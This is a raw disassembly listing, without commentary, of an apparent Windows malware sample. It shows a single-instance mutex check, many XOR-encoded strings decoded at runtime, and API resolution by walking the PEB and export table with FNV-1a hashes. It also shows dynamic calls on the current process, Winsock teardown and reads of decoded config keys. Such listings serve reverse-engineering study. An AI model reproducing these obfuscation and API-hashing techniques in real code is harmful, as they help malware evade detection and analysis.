mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0x484472
push 0x56dbbc
lea edx, [ebp - 0xd7]
lea ecx, [ebp - 0x488]
call fcn.0048ec50
add esp, 4
mov byte [ebp - 4], 0x22
mov ecx, eax
call fcn.0040ba70
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x488]
call fcn.0040b870
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x488]
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x1e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x486dfa
mov byte [ebp - 0xe0], 0x18
xor edx, edx
mov byte [ebp - 0xdf], 0xd
mov byte [ebp - 0xde], 0x14
mov byte [ebp - 0xdd], 0x26
mov byte [ebp - 0xdc], 0x4a
mov byte [ebp - 0xdb], 4
mov byte [ebp - 0xda], 6
mov byte [ebp - 0xd9], 9
mov byte [ebp - 0xd8], 0x6c
mov al, byte [ebp - 0xe0]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0xe0]
mov ecx, edx
and ecx, 0xf
mov eax, 0x1925555d
cmp ecx, 0xf
mov edx, 0x83349529
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xe0], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0x484560
sub esp, 0x18
lea eax, [ebp - 0xe0]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.0040b750
mov byte [ebp - 4], 0x2c
mov byte [ebp - 4], 0x1e
call fcn.0042ff50
mov ecx, dword [0x570134]
mov eax, 0x2aaaaaab
sub ecx, dword [0x570130]
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x484613
nop dword [eax]
push 0x65
call esi
mov ecx, dword [0x570134]
mov eax, 0x2aaaaaab
sub ecx, dword [0x570130]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x4845f0
push 2
push dword [0x56db3c]
mov byte [0x56ff39], 1
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x56db3c]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
nop word [eax + eax]
push 0x3f4
call esi
jmp 0x484640
mov esi, dword [0x56db44]
mov edi, dword [0x56db40]
push 0
push 2
push esi
push edi
call fcn.00521a70
mov ebx, dword [0x56db48]
sub ebx, eax
mov eax, dword [0x56db4c]
mov ecx, ebx
mov dword [0x56db48], ebx
sbb eax, edx
xor ecx, edi
mov dword [ebp - 0x14], eax
mov edx, eax
mov dword [0x56db4c], eax
mov eax, esi
xor eax, edx
or ecx, eax
je 0x48469b
add edi, ebx
mov dword [0x56db40], edi
adc esi, edx
mov dword [0x56db44], esi
test esi, esi
jl 0x4846b4
jg 0x4846a9
cmp edi, 0x186a0
jbe 0x4846b4
xorps xmm0, xmm0
movlpd qword [0x56db40], xmm0
mov byte [0x56ff5d], 0
xor edx, edx
mov byte [ebp - 0x32], 0x3c
mov esi, 0xf
mov byte [ebp - 0x31], 0x4c
mov al, byte [ebp - 0x32]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x32]
mov ecx, edx
and ecx, esi
mov eax, 0xa3b47547
cmp ecx, esi
mov edx, 0xffe320b4
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x32], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 2
jb 0x4846d0
lea ecx, [ebp - 0x4a0]
call fcn.004165f0
mov esi, eax
mov byte [ebp - 4], 0x33
push 0x29
push 0xbdf6907d
call fcn.00411d80
mov ebx, dword [0x56db3c]
add esp, 8
mov edi, eax
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x32]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x484740
sub ecx, edx
lea eax, [ebp - 0x32]
push ecx
push eax
mov ecx, esi
call fcn.0048cd70
push eax
lea ecx, [ebp - 0x308]
call fcn.0040b700
mov esi, dword [ebp - 0x30]
lea edx, [ebp - 0x308]
sub esp, 0x18
or esi, 0x10
mov dword [ebp - 0x30], esi
mov ecx, esp
mov dword [ebp - 0x18], esp
push 0x56dbbc
call fcn.0048ed80
add esp, 4
mov byte [ebp - 4], 0x35
mov byte [ebp - 4], 0x34
mov edx, edi
mov ecx, ebx
call fcn.0042f030
and esi, 0xffffffef
add esp, 0x18
mov edi, eax
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x308]
call fcn.0040b870
mov byte [ebp - 4], 0x33
lea eax, [ebp - 0x308]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x4a0]
call fcn.0040b870
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x4a0]
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 0x1e
test edi, edi
jle 0x484897
cmp byte [0x56ff5d], 0
jne 0x484897
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x484869
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x484869
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x484862
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x484845
cmp esi, 0x2fa62ca8
je 0x48486d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x484830
mov eax, dword [eax]
jmp 0x484800
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0x64
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp byte [0x56ff5d], 0
je 0x4847f2
call fcn.00411d60
mov eax, dword [0x56db40]
lea ecx, [ebp - 0x380]
xor dword [0x56db48], eax
mov edx, 0x56db74
mov eax, dword [0x56db44]
xor dword [0x56db4c], eax
call fcn.0042a420
mov byte [ebp - 4], 0x3c
lea eax, [ebp - 0x380]
push eax
lea ecx, [ebp - 0x1e0]
call fcn.0048a660
mov byte [ebp - 4], 0x3d
cmp dword [0x56db84], 0
jne 0x484966
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop
cmp dword [ebp - 0x1d0], 0
jne 0x484966
mov edx, 0x56db74
lea ecx, [ebp - 0x538]
call fcn.0042a420
mov esi, eax
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x380]
push esi
call fcn.0048a540
lea eax, [esi + 0x18]
push eax
lea ecx, [ebp - 0x368]
call fcn.0048a540
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x538]
call fcn.0042eca0
lea eax, [ebp - 0x380]
push eax
lea ecx, [ebp - 0x1e0]
call fcn.0048a510
push 2
push 0x92921e7f
call fcn.00411ed0
add esp, 8
push eax
call edi
cmp dword [0x56db84], 0
je 0x4848f0
push 0x552978
mov ecx, 0x56db74
call fcn.0040ba70
push eax
call fcn.004fd9b0
add esp, 8
test eax, eax
je 0x484a60
lea eax, [ebp - 0x258]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x240]
mov dword [ebp - 0x1c], eax
nop dword [eax + eax]
lea ecx, [ebp - 0x258]
call fcn.0040bbc0
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x258]
push 1
push 0x55279c
call fcn.0040bb00
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x240]
call fcn.0040bbc0
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x240]
push 1
push 0x552978
call fcn.0040bb00
mov byte [ebp - 4], 0x44
lea eax, [ebp - 0x258]
push eax
lea edx, [ebp - 0x240]
mov ecx, 0x56db74
call fcn.004114a0
add esp, 4
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x240]
call fcn.0040b870
mov byte [ebp - 4], 0x41
lea eax, [ebp - 0x240]
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x258]
call fcn.0040b870
mov byte [ebp - 4], 0x3d
lea eax, [ebp - 0x258]
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x3d
mov ecx, 0x56db74
push 0x552978
call fcn.0040ba70
push eax
call fcn.004fd9b0
add esp, 8
test eax, eax
jne 0x4849a0
mov byte [ebp - 0x37], 0x32
xor edx, edx
mov byte [ebp - 0x36], 0x31
mov edi, 0xf
mov byte [ebp - 0x35], 0x60
mov al, byte [ebp - 0x37]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x37]
mov ecx, edx
and ecx, edi
mov eax, 0x2f5a3361
cmp ecx, edi
mov edx, 0x41ef8f97
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x37], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0x484a80
lea eax, [ebp - 0x470]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0x37]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x484ad2
sub ecx, edx
lea eax, [ebp - 0x37]
push ecx
push eax
lea ecx, [ebp - 0x470]
call fcn.0040bb00
mov byte [ebp - 4], 0x4d
xor edx, edx
mov byte [ebp - 0x3a], 0x2b
mov byte [ebp - 0x39], 0x3e
mov byte [ebp - 0x38], 0x60
mov al, byte [ebp - 0x3a]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x3a]
mov ecx, edx
and ecx, 0xf
mov eax, 0x2f5a3361
cmp ecx, 0xf
mov edx, 0x41ef8f97
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x3a], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0x484b03
lea eax, [ebp - 0x458]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x3a]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x484b57
sub ecx, edx
lea eax, [ebp - 0x3a]
push ecx
push eax
lea ecx, [ebp - 0x458]
call fcn.0040bb00
mov byte [ebp - 4], 0x50
xor edx, edx
mov byte [ebp - 0x3d], 0x22
mov byte [ebp - 0x3c], 0x3d
mov byte [ebp - 0x3b], 0x60
mov al, byte [ebp - 0x3d]
mov dword [ebp - 0x10], edx
nop dword [eax + eax]
mov bl, byte [ebp + edx - 0x3d]
mov ecx, edx
and ecx, 0xf
mov eax, 0x2f5a3361
cmp ecx, 0xf
mov edx, 0x41ef8f97
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x3d], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0x484b90
lea eax, [ebp - 0x440]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x3d]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x484be4
sub ecx, edx
lea eax, [ebp - 0x3d]
push ecx
push eax
lea ecx, [ebp - 0x440]
call fcn.0040bb00
mov byte [ebp - 4], 0x53
xor edx, edx
mov byte [ebp - 0x40], 0x21
mov byte [ebp - 0x3f], 0x29
mov byte [ebp - 0x3e], 0x60
mov al, byte [ebp - 0x40]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x40]
mov ecx, edx
and ecx, 0xf
mov eax, 0x2f5a3361
cmp ecx, 0xf
mov edx, 0x41ef8f97
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x40], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0x484c15
lea eax, [ebp - 0x428]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x40]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x484c70
sub ecx, edx
lea eax, [ebp - 0x40]
push ecx
push eax
lea ecx, [ebp - 0x428]
call fcn.0040bb00
mov byte [ebp - 4], 0x56
xor edx, edx
mov byte [ebp - 0x46], 0x35
mov byte [ebp - 0x45], 0x3e
mov byte [ebp - 0x44], 0x60
mov al, byte [ebp - 0x46]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x46]
mov ecx, edx
and ecx, 0xf
mov eax, 0x2f5a3361
cmp ecx, 0xf
mov edx, 0x41ef8f97
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x46], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0x484ca1
lea eax, [ebp - 0x410]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0x46]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x484cf5
sub ecx, edx
lea eax, [ebp - 0x46]
push ecx
push eax
lea ecx, [ebp - 0x410]
call fcn.0040bb00
mov byte [ebp - 4], 0x59
xor edx, edx
mov byte [ebp - 0x49], 0x2d
mov byte [ebp - 0x48], 0x20
mov byte [ebp - 0x47], 0x60
mov al, byte [ebp - 0x49]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x49]
mov ecx, edx
and ecx, 0xf
mov eax, 0x2f5a3361
cmp ecx, 0xf
mov edx, 0x41ef8f97
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x49], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0x484d26
lea eax, [ebp - 0x3f8]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0x49]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x484d80
sub ecx, edx
lea eax, [ebp - 0x49]
push ecx
push eax
lea ecx, [ebp - 0x3f8]
call fcn.0040bb00
mov byte [ebp - 4], 0x5c
xor edx, edx
mov byte [ebp - 0x4c], 0x2b
mov byte [ebp - 0x4b], 0x23
mov byte [ebp - 0x4a], 0x60
mov al, byte [ebp - 0x4c]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x4c]
mov ecx, edx
and ecx, 0xf
mov eax, 0x2f5a3361
cmp ecx, 0xf
mov edx, 0x41ef8f97
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x4c], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0x484db1
lea eax, [ebp - 0x3e0]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x5e
lea ecx, [ebp - 0x4c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x484e05
sub ecx, edx
lea eax, [ebp - 0x4c]
push ecx
push eax
lea ecx, [ebp - 0x3e0]
call fcn.0040bb00
mov byte [ebp - 4], 0x5f
xor edx, edx
mov byte [ebp - 0x4f], 0x34
mov byte [ebp - 0x4e], 0x2e
mov byte [ebp - 0x4d], 0x60
mov al, byte [ebp - 0x4f]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x4f]
mov ecx, edx
and ecx, 0xf
mov eax, 0x2f5a3361
cmp ecx, 0xf
mov edx, 0x41ef8f97
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x4f], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0x484e36
lea eax, [ebp - 0x3c8]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x61
lea ecx, [ebp - 0x4f]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x484e90
sub ecx, edx
lea eax, [ebp - 0x4f]
push ecx
push eax
lea ecx, [ebp - 0x3c8]
call fcn.0040bb00
mov byte [ebp - 4], 0x62
xor edx, edx
mov byte [ebp - 0x52], 0x35
mov byte [ebp - 0x51], 0x25
mov byte [ebp - 0x50], 0x60
mov al, byte [ebp - 0x52]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x52]
mov ecx, edx
and ecx, 0xf
mov eax, 0x2f5a3361
cmp ecx, 0xf
mov edx, 0x41ef8f97
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x52], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0x484ec1
lea eax, [ebp - 0x3b0]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0x52]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x484f15
sub ecx, edx
lea eax, [ebp - 0x52]
push ecx
push eax
lea ecx, [ebp - 0x3b0]
call fcn.0040bb00
mov byte [ebp - 4], 0x65
xor edx, edx
mov byte [ebp - 0x43], 0x21
mov byte [ebp - 0x42], 0x3e
mov byte [ebp - 0x41], 0x60
mov al, byte [ebp - 0x43]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x43]
mov ecx, edx
and ecx, 0xf
mov eax, 0x2f5a3361
cmp ecx, 0xf
mov edx, 0x41ef8f97
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x43], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0x484f46
lea eax, [ebp - 0x398]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x67
lea ecx, [ebp - 0x43]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x484fa0
sub ecx, edx
lea eax, [ebp - 0x43]
push ecx
push eax
lea ecx, [ebp - 0x398]
call fcn.0040bb00
mov byte [ebp - 4], 0x68
lea eax, [ebp - 0x380]
lea ecx, [ebp - 0x470]
push eax
push ecx
lea ecx, [ebp - 0x508]
call fcn.004871c0
mov byte [ebp - 4], 0x6a
lea eax, [ebp - 0x470]
push fcn.0040b6f0
push 0xa
push 0x18
push eax
call fcn.004e6305
lea eax, [ebp - 0x1e0]
push eax
lea ecx, [ebp - 0x508]
call fcn.0048f8d0
test eax, eax
je 0x48510a
mov byte [ebp - 0x18d], 0xae
xor edx, edx
mov byte [ebp - 0x18c], 0x98
mov byte [ebp - 0x18b], 0xb3
mov byte [ebp - 0x18a], 0x83
mov byte [ebp - 0x189], 0x9d
mov byte [ebp - 0x188], 0x8f
mov byte [ebp - 0x187], 0x82
mov byte [ebp - 0x186], 0x8d
mov byte [ebp - 0x185], 0x8f
mov byte [ebp - 0x184], 0x9e
mov byte [ebp - 0x183], 0x8f
mov byte [ebp - 0x182], 0xbc
mov byte [ebp - 0x181], 0x9b
mov byte [ebp - 0x180], 0x88
mov byte [ebp - 0x17f], 0x83
mov byte [ebp - 0x17e], 0x9e
mov byte [ebp - 0x17d], 0x83
mov byte [ebp - 0x17c], 0x8f
mov byte [ebp - 0x17b], 0xf7
mov al, byte [ebp - 0x18d]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x18d]
mov ecx, edx
and ecx, 0xf
mov eax, 0xbc4a24e1
cmp ecx, 0xf
mov edx, 0xbf940107
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x1f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x18d], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x13
jb 0x4850a0
push 0x552910
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x18d]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x48510a
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
call fcn.004300d0
call fcn.00430170
call fcn.00430210
call fcn.004302b0
cmp byte [0x570060], 1
jne 0x4858a5
mov byte [ebp - 0x13c], 0xe7
xor edx, edx
mov byte [ebp - 0x13b], 0xea
mov byte [ebp - 0x13a], 0xfb
mov byte [ebp - 0x139], 0xfd
mov byte [ebp - 0x138], 0xc1
mov byte [ebp - 0x137], 0xe1
mov byte [ebp - 0x136], 0xfe
mov byte [ebp - 0x135], 0xec
mov byte [ebp - 0x134], 0xf8
mov byte [ebp - 0x133], 0xfc
mov byte [ebp - 0x132], 0xf8
mov byte [ebp - 0x131], 0x9a
mov al, byte [ebp - 0x13c]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x13c]
mov ecx, edx
and ecx, 0xf
mov eax, 0x886ddb8f
cmp ecx, 0xf
mov edx, 0x7d980f1a
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x71]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x13c], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xc
jb 0x485190
lea eax, [ebp - 0x13c]
mov ecx, 0x570060
push eax
call fcn.0048eef0
lea edx, [ebp - 0x56]
mov ecx, eax
call fcn.004a07f0
mov al, byte [ebp - 0x56]
xor edx, edx
mov byte [0x56db3b], al
mov byte [ebp - 0xbc], 0xb7
mov byte [ebp - 0xbb], 0xa7
mov byte [ebp - 0xba], 0xb9
mov byte [ebp - 0xb9], 0xbe
mov byte [ebp - 0xb8], 0x85
mov byte [ebp - 0xb7], 0xa0
mov byte [ebp - 0xb6], 0xbf
mov byte [ebp - 0xb5], 0xd2
mov al, byte [ebp - 0xbc]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0xbc]
mov ecx, edx
and ecx, 0xf
mov eax, 0xc58161d7
cmp ecx, 0xf
mov edx, 0x27f75b5d
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x29]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xbc], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 8
jb 0x485240
lea eax, [ebp - 0xbc]
mov ecx, 0x570060
push eax
call fcn.0048eef0
lea edx, [ebp - 0x57]
mov ecx, eax
call fcn.004a07f0
mov al, byte [ebp - 0x57]
xor edx, edx
mov byte [0x56db55], al
mov byte [ebp - 0xc4], 0xb7
mov byte [ebp - 0xc3], 0xa7
mov byte [ebp - 0xc2], 0xb9
mov byte [ebp - 0xc1], 0xbe
mov byte [ebp - 0xc0], 0x85
mov byte [ebp - 0xbf], 0xb0
mov byte [ebp - 0xbe], 0xab
mov byte [ebp - 0xbd], 0xd2
mov al, byte [ebp - 0xc4]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0xc4]
mov ecx, edx
and ecx, 0xf
mov eax, 0xc58161d7
cmp ecx, 0xf
mov edx, 0x27f75b5d
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x29]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xc4], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 8
jb 0x4852f0
lea eax, [ebp - 0xc4]
mov ecx, 0x570060
push eax
call fcn.0048eef0
lea edx, [ebp - 0x5d]
mov ecx, eax
call fcn.004a07f0
mov al, byte [ebp - 0x5d]
xor edx, edx
mov byte [0x56db3a], al
mov byte [ebp - 0x149], 0x47
mov byte [ebp - 0x148], 0x5e
mov byte [ebp - 0x147], 0x46
mov byte [ebp - 0x146], 0x5d
mov byte [ebp - 0x145], 0x6c
mov byte [ebp - 0x144], 0x49
mov byte [ebp - 0x143], 0x5b
mov byte [ebp - 0x142], 0x54
mov byte [ebp - 0x141], 0x5d
mov byte [ebp - 0x140], 0x53
mov byte [ebp - 0x13f], 0x4f
mov byte [ebp - 0x13e], 0x4f
mov byte [ebp - 0x13d], 0x35
mov al, byte [ebp - 0x149]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x149]
mov ecx, edx
and ecx, 0xf
mov eax, 0xc9c2f82d
cmp ecx, 0xf
mov edx, 0x8f8c4c04
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x2d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x149], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xd
jb 0x4853c0
lea eax, [ebp - 0x149]
mov ecx, 0x570060
push eax
call fcn.0048eef0
lea edx, [ebp - 0x5e]
mov ecx, eax
call fcn.004a07f0
mov al, byte [ebp - 0x5e]
xor edx, edx
mov byte [0x56db39], al
mov byte [ebp - 0x157], 0xa7
mov byte [ebp - 0x156], 0xae
mov byte [ebp - 0x155], 0xb6
mov byte [ebp - 0x154], 0xb9
mov byte [ebp - 0x153], 0x80
mov byte [ebp - 0x152], 0xb6
mov byte [ebp - 0x151], 0xbd
mov byte [ebp - 0x150], 0xba
mov byte [ebp - 0x14f], 0xa7
mov byte [ebp - 0x14e], 0xa8
mov byte [ebp - 0x14d], 0xb9
mov byte [ebp - 0x14c], 0xaf
mov byte [ebp - 0x14b], 0xa8
mov byte [ebp - 0x14a], 0xd5
mov al, byte [ebp - 0x157]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x157]
mov ecx, edx
and ecx, 0xf
mov eax, 0x50bc96cf
cmp ecx, 0xf
mov edx, 0xdc9a7f43
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x31]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x157], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xe
jb 0x485490
lea eax, [ebp - 0x157]
mov ecx, 0x570060
push eax
call fcn.0048eef0
lea edx, [ebp - 0x55]
mov ecx, eax
call fcn.004a07f0
mov al, byte [ebp - 0x55]
xor edx, edx
mov byte [0x56db54], al
mov byte [ebp - 0xe9], 0x37
mov byte [ebp - 0xe8], 0x29
mov byte [ebp - 0xe7], 0x3b
mov byte [ebp - 0xe6], 7
mov byte [ebp - 0xe5], 0x3b
mov byte [ebp - 0xe4], 6
mov byte [ebp - 0xe3], 0x1e
mov byte [ebp - 0xe2], 0x15
mov byte [ebp - 0xe1], 0x6c
mov al, byte [ebp - 0xe9]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0xe9]
mov ecx, edx
and ecx, 0xf
mov eax, 0x1925555d
cmp ecx, 0xf
mov edx, 0x83349529
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xe9], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0x485540
lea eax, [ebp - 0xe9]
mov ecx, 0x570060
push eax
call fcn.0048eef0
lea edx, [ebp - 0x5f]
mov ecx, eax
call fcn.004a07f0
mov al, byte [ebp - 0x5f]
xor edx, edx
mov byte [0x56db56], al
